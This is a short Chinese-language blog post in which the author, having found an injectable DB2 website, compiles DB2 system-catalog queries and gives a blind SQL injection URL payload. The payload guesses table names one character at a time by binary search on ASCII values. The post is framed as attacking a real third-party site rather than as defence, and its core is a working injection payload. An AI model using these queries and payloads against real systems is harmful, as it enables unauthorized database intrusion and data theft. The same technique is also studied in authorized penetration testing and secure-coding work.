Sql Injection in DB2資料庫

使用DB2的人比較少了，今天碰到了一個可供注入的DB2網站，想試試身手。不過在網上很難找到相關的資料，只好自己研究了。

參考了IBM DB2的文檔，總結了這樣幾條：

1、select NAME from SYSIBM.SYSTABLES where CREATOR =USER

可以返回系統中所有使用者建立的表（table）名

2、select NAME from SYSIBM.SYSCOLUMNS where TBCREATOR = '' and TBNAME=''

返回表中的列名

3、select NAME from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY

這是最關鍵的地方，返回第一條記錄，類似於sql server中的top 1

4、SUBSTR(string, position, length)

返回字串子串的函數，類似於mid

5、ASCII()這個就不用多說了。

有了這些語句和函數，我們就可以很方便的用ascii拆半法猜出所有的table名，欄位名，以及其中的資料了。

例如判斷第一個table的名稱的第一個字元的ascii碼是否大於50：

http://*.com?test.jsp?id=1 and (select ASCII(SUBSTR(NAME,1,1)) from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY)>50 --

http://blog.waynedeng.com/blogview.asp?logID=543